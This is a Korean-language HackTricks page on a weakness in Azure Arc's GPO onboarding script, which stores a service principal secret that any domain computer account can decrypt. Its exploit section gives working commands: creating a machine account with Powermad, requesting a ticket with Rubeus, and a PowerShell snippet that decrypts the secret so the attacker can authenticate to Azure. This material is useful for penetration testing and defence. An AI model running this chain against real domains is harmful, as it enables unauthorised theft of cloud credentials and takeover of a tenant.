Az - Arc vulnerable GPO Deploy Script

Support HackTricks

Identifying the Issues

Azure Arc는 그룹 정책 개체 방법을 사용하여 새로운 내부 서버(도메인에 가입된 서버)를 Azure Arc에 통합할 수 있도록 합니다. 이를 위해 Microsoft는 온보딩 절차를 시작하는 데 필요한 배포 툴킷을 제공합니다. ArcEnableServerGroupPolicy.zip 파일 내에는 다음 스크립트가 포함되어 있습니다: DeployGPO.ps1, EnableAzureArc.ps1, 및 AzureArcDeployment.psm1.

DeployGPO.ps1 스크립트를 실행하면 다음 작업이 수행됩니다:

  1. 로컬 도메인 내에 Azure Arc 서버 온보딩 GPO를 생성합니다.

  2. 온보딩 프로세스를 위해 생성된 지정된 네트워크 공유에 EnableAzureArc.ps1 온보딩 스크립트를 복사하며, 이 공유에는 Windows 설치 패키지도 포함되어 있습니다.

이 스크립트를 실행할 때 시스템 관리자는 두 가지 주요 매개변수인 ServicePrincipalIdServicePrincipalClientSecret을 제공해야 합니다. 또한 도메인, 공유를 호스팅하는 서버의 FQDN, 공유 이름과 같은 다른 매개변수도 필요합니다. 테넌트 ID, 리소스 그룹 및 기타 필요한 정보와 같은 추가 세부정보도 스크립트에 제공해야 합니다.

암호화된 비밀은 DPAPI-NG 암호화를 사용하여 지정된 공유의 AzureArcDeploy 디렉토리에 생성됩니다. 암호화된 비밀은 encryptedServicePrincipalSecret이라는 이름의 파일에 저장됩니다. 이 내용은 DeployGPO.ps1 스크립트에서 확인할 수 있으며, 여기서 ProtectBase64를 호출하여 $descriptor와 $ServicePrincipalSecret을 입력으로 사용하여 암호화가 수행됩니다. descriptor는 도메인 컴퓨터 및 도메인 컨트롤러 그룹 SID로 구성되어 있어, ServicePrincipalSecret은 도메인 컨트롤러 및 도메인 컴퓨터 보안 그룹에 의해서만 복호화될 수 있도록 합니다.

# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
$descriptor = @($DomainComputersSID, $DomainControllersSID) -join " OR "
Import-Module $PSScriptRoot\AzureArcDeployment.psm1
$encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSecret)

Exploit

다음 조건이 있습니다:

  1. 내부 네트워크에 성공적으로 침투했습니다.

  2. Active Directory 내에서 컴퓨터 계정을 생성하거나 제어할 수 있는 능력이 있습니다.

  3. AzureArcDeploy 디렉토리를 포함하는 네트워크 공유를 발견했습니다.

AD 환경 내에서 머신 계정을 얻는 방법은 여러 가지가 있습니다. 가장 일반적인 방법 중 하나는 머신 계정 쿼터를 악용하는 것입니다. 또 다른 방법은 취약한 ACL 또는 다양한 다른 잘못된 구성으로 인해 머신 계정을 손상시키는 것입니다.

Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose

한 번 머신 계정을 얻으면, 이 계정을 사용하여 인증할 수 있습니다. 우리는 netonly 플래그가 있는 runas.exe 명령을 사용하거나 Rubeus.exe로 패스-더-티켓을 사용할 수 있습니다.

runas /user:fake01$ /netonly powershell
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr

메모리에 저장된 컴퓨터 계정의 TGT를 사용하여 서비스 주체 비밀을 복호화하는 다음 스크립트를 사용할 수 있습니다.

Import-Module .\AzureArcDeployment.psm1

$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"

$ebs = [DpapiNgUtil]::UnprotectBase64($encryptedSecret)
$ebs

대안으로, SecretManagement.DpapiNG를 사용할 수 있습니다.

이 시점에서, 암호화된ServicePrincipalSecret 파일과 동일한 네트워크 공유에 저장된 ArcInfo.json 파일에서 Azure에 연결하는 데 필요한 나머지 정보를 수집할 수 있습니다. 이 파일에는 TenantId, servicePrincipalClientId, ResourceGroup 등과 같은 세부 정보가 포함되어 있습니다. 이 정보를 사용하여 Azure CLI를 통해 손상된 서비스 주체로 인증할 수 있습니다.

References

Support HackTricks

Last updated